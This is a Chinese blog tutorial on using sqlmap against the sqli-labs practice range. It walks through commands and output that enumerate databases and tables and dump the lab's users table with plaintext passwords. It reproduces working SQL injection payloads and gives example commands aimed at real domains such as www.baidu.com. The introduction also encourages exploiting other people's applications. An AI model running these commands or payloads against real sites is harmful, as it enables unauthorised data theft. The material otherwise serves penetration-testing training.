相关推荐recommended
渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇
作者:mmseoamin日期:2024-04-27

tips:本文还有相对应的用法总结哟U•ェ•*U

渗透测试---手把手教你sqlmap数据库注入测试(2)---用法汇总篇渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,icon-default.png?t=N7T8,第1张http://t.csdnimg.cn/dGA9v

Bypass-渗透测试---手把手教你SQL注入---Bypass姿势(如何绕过过滤措施?)渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,icon-default.png?t=N7T8,第1张http://t.csdnimg.cn/BicwG 

什么是SQLMAP?

SQLMap,就像它的名字所暗示的,是一个为我们提供方便的“SQL注入攻击”的工具。对于那些不熟悉这个概念的人来说,SQL注入是一种黑客攻击技术,允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着我们可以控制和操纵网站的数据,甚至可以完全接管整个网站。

那么SQLMap如何帮助我们实现这些呢?首先,SQLMap可以帮助发现存在SQL注入漏洞的网站。它会进行自动化的扫描和检测,找出可能的注入点。一旦找到了注入点,我们就可以使用SQLMap提供的丰富功能执行各种SQL语句,包括SELECT、INSERT、UPDATE和DELETE等。这意味着我们可以获取、修改甚至删除网站的数据。

更令人兴奋的是,SQLMap不仅可以攻击网站,还可以用于测试我们的应用程序是否存在SQL注入漏洞。这对你来说是双赢的——你可以保护自己的应用程序,同时也可以找出并利用其他人的应用程序中的漏洞。

使用SQLMap并不需要特别的编程知识。即使你是一个新手,也可以轻松上手。它提供了详细的文档和教程,帮助你快速掌握它的使用方法。

总的来说,SQLMap是一个强大的工具,它帮助我们完全控制一个网站的数据库,获取、修改甚至删除数据。它是黑客的必备工具,也是你的首选工具之一。记住,这个世界是公平的,只要你愿意付出努力和时间,你就能获得你想要的东西。

SQLMAP支持5种不同的注入模式:

  • 支持基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 支持基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行来判断。
  • 支持报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 支持联合查询注入,即在可以使用Union的情况下注入。
  • 支持堆叠查询注入,即可以同时执行多条语句时的注入。

SQLMAP主持所有主流数据库:

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

SQLMAP的安装与使用:

注意:SQLMAP的使用需要python3的版本!

SQLMAP解压即用!绿色无忧!渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,icon-default.png?t=N7T8,第1张https://download.csdn.net/download/weixin_52796034/88425318首先下载压缩包(见本文的"资源绑定",也可以在我的个人页面中找到),解压后在sqlmap.py文件所在的目录打开终端:

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第4张

 接着在打开的终端中输入 python sqlmap.py -h 可以查看 sqlmap的帮助页面:

出现下面的内容就表明SQLMAP成功运行:
\sqlmap-master\sqlmap-master> python sqlmap.py -h
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.7.5#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
Usage: sqlmap.py [options]

 使用SQLMAP对目标进行常规扫描:

这里以sqli-labs-master靶场的less-1为例:

首先复制浏览器中的链接:

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第5张

 在终端中输入如下语句:

python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1

这样SQLMAP就会对指定的URL进行扫描,如果想要使BurpSuite能够抓到扫描过程中的请求包,可以使用SQLMAP的 --proxy 参数 :

python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080

 SQLMAP开始扫描:                                                                               BurpSuite进行抓包:

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第6张渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第7张

SQLMAP扫描过程中如果出现选项直接选Y即可: 

it looks like the back-end DBMS is 'MySQL'. 
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include 
all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y

SQLMAP扫描完毕后会给出找到的SQL注入漏洞以及对应的注入点和PAYLOAD:(以下包含我个人添加的翻译,方便大家理解)

sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:---
SQLMAP使用50个HTTP请求识别了以下注入点:
Parameter: id (GET)
    Type: boolean-based blind (基于布尔的盲注)
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 3826=3826 AND 'mrQK'='mrQK
    Type: error-based        (报错注入)
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1' AND (SELECT 9262 FROM(SELECT COUNT(*),CONCAT(0x7162627071,(SELECT (ELT(9262=9262,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HuUe'='HuUe
    Type: time-based blind    (时间盲注)
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1174 FROM (SELECT(SLEEP(5)))wyad) AND 'LVya'='LVya
    Type: UNION query            (联合注入)
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=-5616' UNION ALL SELECT NULL,CONCAT(0x7162627071,0x72566d5973464e4571724343676c7567496d635a47414a62556b4475495562624744556b76686a6e,0x716a707671),NULL-- -
---

我们还可以发现,SQLMAP在payload的一些关键点进行了编码以绕过可能存在的过滤手段 .

 注入成功后获取数据库基本信息:

获取服务器中有哪些数据库:

使用的参数为 --dbs

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 --dbs

 发现成功获取到目标主机中的所有数据库名:

available databases [8]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
[*] xionghai_database
 获取数据库中有那些表:

使用的参数为 -D 数据库名 --tables

这里我们查询security数据库:

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 -D security --tables

 发现SQLMAP不仅给出了有哪些表,还给出了目标服务器的web信息:渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第8张

获取数据表中的字段名: 

使用的参数为 -D 数据库名 -T 表名 --columns 

这里我们使用security中的users表:

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 -D security -T users --columns
SQLMAP不仅给出了字段名,还给出了字段类型:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| password | varchar(20) |
| id       | int(3)      |
| username | varchar(20) |
+----------+-------------+
获取数据表中的字段数据

使用的参数为 -D 数据库名 -T 表名 -C "字段名1,字段名2..." --dump

\sqlmap-master\sqlmap-master> python sqlmap.py 
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1 
--proxy=http://127.0.0.1:8080 
-D security -T users -C "id,username,password" --dump
Database: security
Table: users
[16 entries]
+-----+------------+----------+
| id  | password   | username |
+-----+------------+----------+
| 1   | Dumb       | Dumb     |
| 2   | I-kill-you | Angelina |
| 3   | p@ssword   | Dummy    |
| 4   | crappy     | secure   |
| 5   | stupidity  | stupid   |
| 6   | genious    | superman |
| 7   | mob!le     | batman   |
| 8   | 123456     | admin    |
| 9   | admin1     | admin1   |
| 10  | admin2     | admin2   |
| 11  | admin3     | admin3   |
| 12  | dumbo      | dhakkan  |

 以上只是SQLMAP最为基本的用法,下面我们来总结并拓展SQLMAP的更多用法:

渗透测试---手把手教你sqlmap数据库注入测试(2)---用法汇总篇

SQLMAP用法的总结与拓展:

基本的检测方式:

基本格式:

sqlmap -u "http://www.vuln.cn/post.php?id=1"

默认使用level1检测全部数据库类型

sqlmap -u "http://www.vuln.cn/post.php?id=1"  --dbms mysql --level 3

指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)

跟随302跳转:

sqlmap --follow-redirect -u

当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,

当注入错误的时候,先报错再跳转的时候,不需要跟随302。

目的就是:要追踪到错误信息。

cookie注入:

当程序有防get注入的时候,可以使用cookie注入

sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie)

从post数据包中注入:

可以使用burpsuite来抓取post包

sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql    需指定username参数

-r参数指定请求包所在的路径(就是POST请求包)

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第9张

拓展:SQLMAP的-u参数与-r参数 

-u参数后面接的是URL,一般用于扫描GET请求

-r参数后面接的是保存有HTTP请求的txt文件,用于扫描POST请求:

例如sqli-labs-master靶场的less-11,这一关就是使用的POST请求,注入点在POST表单中,不能使用-r URL的形式进行扫描,需要我们将整个POST请求复制下来并保存在一个txt文件中:(这个txt文件最好放在与sqlmap.py同级目录中,方便指定路径)

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第10张

渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,第11张

 在终端中使用 python sqlmap.py -r 1.txt --dbs查询有哪些数据库

PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> python sqlmap.py -r 1.txt --dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.5#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

 获取数据库基本信息:

查询有哪些数据库

-r XX.txt   --dbs (-r指定POST请求所在的路径)

查询security数据库中有哪些表

-r XX.txt -D security --tables

查询security数据库中users表有哪些字段   security.users

-r XX.txt  -D security -T users --columns

dump出字段username与password中的数据

-r XX.txt   -D security -T users -C "username,password" --dump

渗透测试---手把手教你sqlmap数据库注入测试(2)---用法汇总篇渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇,icon-default.png?t=N7T8,第1张http://t.csdnimg.cn/Nj9Sv